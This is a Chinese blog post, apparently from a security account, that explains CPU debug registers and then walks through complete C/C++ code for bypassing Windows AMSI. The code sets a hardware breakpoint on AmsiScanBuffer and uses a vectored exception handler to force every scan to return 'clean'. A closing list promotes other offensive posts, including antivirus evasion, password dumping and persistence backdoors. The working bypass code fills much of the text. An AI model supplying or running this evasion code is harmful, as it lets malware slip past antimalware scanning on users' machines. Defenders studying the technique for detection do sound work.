传统的通过patch内存AmsiScanBuffer,这个网上有很多文章,而且相对也比较简单,这里就不再解释了,但是patch这个动作势必会有一定的敏感性,比如你需要修改关键位置内存属性。本文要讲的是无需patch的方式绕过amsi。
通过翻阅intel白皮书,可以知道cpu的硬件断点是基于DR0-7,总共八个调试寄存器实现的。如下图:(x64)
硬件断点的本质就是在指定内存下断点,内存可以位于代码段(函数断点)也可以是数据段(数据断点)。可以设置事件有执行、写入、读写时中断。
DR0到DR3被称为“调试地址寄存器”或“地址断点寄存器”,它们非常简单,其中仅包含断点的线性地址。当该地址与指令或数据引用匹配时,将发生中断。调试寄存器DR7可用于对每个断点的条件进行更细粒度的控制。因为寄存器需要填充线性地址,所以即使关闭分页,它们也可以正常工作。在这种情况下,线性地址将与物理地址相同。
由于这些寄存器中只有4个是可用的,因此每个线程最多只能同时具有4个断点。
总的来说这四个寄存器中就存储了要下断点的地址,但是是否有效这个要取决于DR7寄存器
DR4和DR5被称为“保留的调试寄存器”。尽管它们的名称中有“保留”字样,但实际上却不总是保留的,仍然可以使用。它们的功能取决于控制寄存器CR4中DE字段的值。在启用此位后,将启用I/O断点,如果尝试访问其中一个寄存器将会导致#UD异常。但是,如果未启用DE位时,调试寄存器DR4和DR5分别映射到DR6和DR7.这样做的目的是为了与旧版本处理器的软件相兼容。
在触发硬件断点时,调试状态存储在调试寄存器DR6中。也正因如此,该寄存器被称为“调试状态寄存器”。其中包含用于快速检查某些事件是否被触发的位。第0-3位是根据触发的硬件断点而进行设置,可以用于快速检查触发了哪个断点。
第13位称为BD,如果由于访问调试寄存器而触发当前异常,则会将其置为1。必须在DR7中启用GD位,才能触发此类异常。
第14位称为BS,如果由于单个步骤而触发当前异常,则会设置这一位。必须在EFLAGS寄存器中启用TF标志,才能触发此类异常。
第15位称为TS,如果由于当前任务切换到了启用调试陷阱标志的任务而触发了当前异常,则会设置这一位。
DR7被称为“调试控制寄存器”,允许对每个硬件断点进行精细控制。其中,前8位控制是否启用了特定的硬件断点。偶数位(0、2、4、6)称为L0-L3,在本地启用了断点,这意味着仅在当前任务中检测到断点异常时才会触发。奇数位(1、3、5、7)称为G0-G3,在全局启用了断点,这意味着在任何任务中检测到断点异常时都会触发。如果在本地启用了断点,则在发生硬件任务切换时会删除相应的位,以避免新任务中出现不必要的断点。在全局启用时不会清除这些位。
在cpu中,单位执行往往是“任务”,这相当于操作系统中的线程
第8位和第9位分别称为LE和GE,是沿用的传统功能,在现代处理器上无法执行任何操作。这些位用于指示处理器检测断点发生的确切指令。在现代处理器上,所有断点条件都是精确的。为了与旧硬件兼容,建议始终将这两个位都设置为1。
第13位被称为GD,这一位非常值得关注。如果这一位被启用,则当每一条指令尝试访问调试寄存器时,都会生成调试异常。为了将这种类型的异常与普通的硬件断点异常区分开来,在调试寄存器DR6中设置了BD标志。这一位通常用于阻止程序干扰调试寄存器。关键点在于,异常发生在指令执行之前,并且当进入调试异常处理程序时,该标志会被处理器自动删除。但是,这样的解决方案并不完美,因为它只能使用MOV指令来访问调试寄存器。
第16-31位用于控制每个硬件断点的条件和大小。每个寄存器有4位,分为4个2位字段。前2位用于确定硬件断点的类型。仅能在指令执行、数据写入、I/O读写、数据读写时才能生成调试异常。仅有在启用了控制寄存器CR4的DE字段时,才启用I/O读写功能,否则这种情况是不确定的。大小可以使用后2位来控制,并用于指定特定地址处内存位置的大小。可用的大小有1字节、2字节、4字节和8字节。
这里还需要特别说一下的是读写位的问题:读写可执行:
其中00 执行时触发。01写入时触发,11读写时触发。
长度位:
00 1字节。01 2字节。10 8字节。11 4字节。
这里肯定是不能使用mov一类指令的,可以使用windows的两个api:SetThreadContext和GetThreadContextAPI.
/* Initialize context structure */
CONTEXT context = { 0 };
context.ContextFlags = CONTEXT_ALL;
/* Fill context structure with current thread context */
GetThreadContext(GetCurrentThread(), &context);
/* Set a local 1-byte execution hardware breakpoint on 'test_func' */
context.Dr0 = (DWORD64)&test_func;
context.Dr7 = 1 << 0;
context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
/* Set the context */
SetThreadContext(GetCurrentThread(), &context);
代码参考:https://gist.github.com/CCob/fe3b63d80890fafeca982f76c8a3efdf
解读代码可以从函数入口开始
PVOID g_amsiScanBufferPtr = nullptr;
HANDLE setupAMSIBypass(){
CONTEXT threadCtx;
memset(&threadCtx, 0, sizeof(threadCtx));
threadCtx.ContextFlags = CONTEXT_ALL;
//Load amsi.dll if it hasn't be loaded alreay.
if(g_amsiScanBufferPtr == nullptr){
HMODULE amsi = GetModuleHandleA("amsi.dll");
if(amsi == nullptr){
amsi = LoadLibraryA("amsi.dll");
}
if(amsi != nullptr){
g_amsiScanBufferPtr = (PVOID)GetProcAddress(amsi, "AmsiScanBuffer");
}else{
return nullptr;
}
if(g_amsiScanBufferPtr == nullptr)
return nullptr;
}
//add our vectored exception handle
HANDLE hExHandler = AddVectoredExceptionHandler(1, exceptionHandler);
//Set a hardware breakpoint on AmsiScanBuffer function
if(GetThreadContext((HANDLE)-2, &threadCtx)){
enableBreakpoint(threadCtx, g_amsiScanBufferPtr, 0);
SetThreadContext((HANDLE)-2, &threadCtx);
}
return hExHandler;
}
setupAMSIBypass这个函数前面主要是获取amsiScanBuffer的地址,随即注册了一个veh异常。
然后通过调用GetThreadContext获取到了当前线程的context,这里作者用了一个小技巧:用(HANDLE)-2代替了GetCurrentThread()
然后调用enableBreakpoint下了一个硬件断点,这里我们先跟进这个函数。
unsigned long long setBits(unsigned long long dw, int lowBit, int bits, unsigned long long newValue) {
unsigned long long mask = (1UL << bits) - 1UL;
dw = (dw & ~(mask << lowBit)) | (newValue << lowBit);
return dw;
}
//该函数的作用是将 dw 中从位置 lowBit 开始的 bits 个二进制位的值设置为newValue,并返回修改后的 dw。
void enableBreakpoint(CONTEXT& ctx, PVOID address, int index) {
switch (index) {
case 0:
ctx.Dr0 = (ULONG_PTR)address;
break;
case 1:
ctx.Dr1 = (ULONG_PTR)address;
break;
case 2:
ctx.Dr2 = (ULONG_PTR)address;
break;
case 3:
ctx.Dr3 = (ULONG_PTR)address;
break;
}
//Set bits 16-31 as 0, which sets
//DR0-DR3 HBP's for execute HBP
ctx.Dr7 = setBits(ctx.Dr7, 16, 16, 0);
//Set DRx HBP as enabled for local mode
ctx.Dr7 = setBits(ctx.Dr7, (index * 2), 1, 1);
ctx.Dr6 = 0;
}
这个函数最后一个参数实际上就是选择用哪个调试寄存器(DR0-3)做断点
setBits可以设置Dr7的一些位数控制Dr0-3的属性。
比如这里是将DR0-DR3的触发条件为执行,并且将DRx的触发设置为当前模式,也就是仅对当前线程有效。
enableBreakpoint(threadCtx, g_amsiScanBufferPtr, 0);
enableBreakpoint传递的参数是amsiScanBuffer的地址,当前线程和DR0,那么当执行amsiScanBuffer函数时,就会触发硬件断点。产生一个EXCEPTION_SINGLE_STEP异常。
我们注册的veh函数将会第一个进行处理
static ULONG_PTR getArg(CONTEXT* ctx, int index){
#ifdef __x86_64
switch(index){
case 0:
return ctx->Rcx;
case 1:
return ctx->Rdx;
case 2:
return ctx->R8;
case 3:
return ctx->R9;
default:
return *(ULONG_PTR*)(ctx->Rsp+((index+1)*8));
}
#else
return *(DWORD_PTR*)(ctx->Esp+(index+1*4));
#endif
}
static ULONG_PTR getReturnAddress(CONTEXT* ctx){
#ifdef __x86_64
return *(ULONG_PTR*)ctx->Rsp;
#else
return *(ULONG_PTR*)ctx->Esp;
#endif
}
static void setResult(CONTEXT* ctx, ULONG_PTR result){
#ifdef __x86_64
ctx->Rax = result;
#else
ctx->Eax = result;
#endif
}
static void adjustStackPointer(CONTEXT* ctx, int amount){
#ifdef __x86_64
ctx->Rsp += amount;
#else
ctx->Esp += amount;
#endif
}
static void setIP(CONTEXT* ctx, ULONG_PTR newIP){
#ifdef __x86_64
ctx->Rip = newIP;
#else
ctx->Eip = newIP;
#endif
}
LONG WINAPI exceptionHandler(PEXCEPTION_POINTERS exceptions){
if(exceptions->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP && exceptions->ExceptionRecord->ExceptionAddress == g_amsiScanBufferPtr){
//Get the return address by reading the value currently stored at the stack pointer
ULONG_PTR returnAddress = getReturnAddress(exceptions->ContextRecord);
//Get the address of the 5th argument, which is an int* and set it to a clean result
int* scanResult = (int*)getArg(exceptions->ContextRecord, 5);
*scanResult = AMSI_RESULT_CLEAN;
//update the current instruction pointer to the caller of AmsiScanBuffer
setIP(exceptions->ContextRecord, returnAddress);
//We need to adjust the stack pointer accordinly too so that we simulate a ret instruction
adjustStackPointer(exceptions->ContextRecord, sizeof(PVOID));
//Set the eax/rax register to 0 (S_OK) indicatring to the caller that AmsiScanBuffer finished successfully
setResult(exceptions->ContextRecord, S_OK);
//Clear the hardware breakpoint, since we are now done with it
clearHardwareBreakpoint(exceptions->ContextRecord, 0);
return EXCEPTION_CONTINUE_EXECUTION;
}else{
return EXCEPTION_CONTINUE_SEARCH;
}
}
首先确定了是该异常,并且该异常产生的地址为amsiScanBuffer的地址。
returnAddress首先是拿到了amsiScanBuffer执行结束后的返回地址,也就是触发断点时刻的rsp。
scanResult是对amsiScanBuffer的第六个参数进行赋值。
通过x64调用约定来看result此时应该在栈中的rsp+0x30的位置,他这里getArg的index参数传的5,是一样的
然后将此值清0。
然后将rip直接指回了返回地址,此时若是继续执行相当于直接跳过了amsiScanBuffer,但是这里堆栈肯定是不平衡的,由于是call进去的,所以这里相当于要pop一下,堆栈下移,rsp+8,这时adjustStackPointer函数做的事情。
堆栈也平衡了,将rax(返回值)也改为0
此方式通过进程执行amsiScanBuffer的时候,动态更改amsiScanBuffer的返回结果和第六个参数来控制返回结果。
加下方wx,拉你一起进群学习
往期推荐
什么?你还不会webshell免杀?(十)
PPL攻击详解
绕过360核晶抓取密码
什么?你还不会webshell免杀?(十)
64位下使用回调函数实现监控
什么?你还不会webshell免杀?(九)
一键击溃360全家桶+核晶
域内持久化后门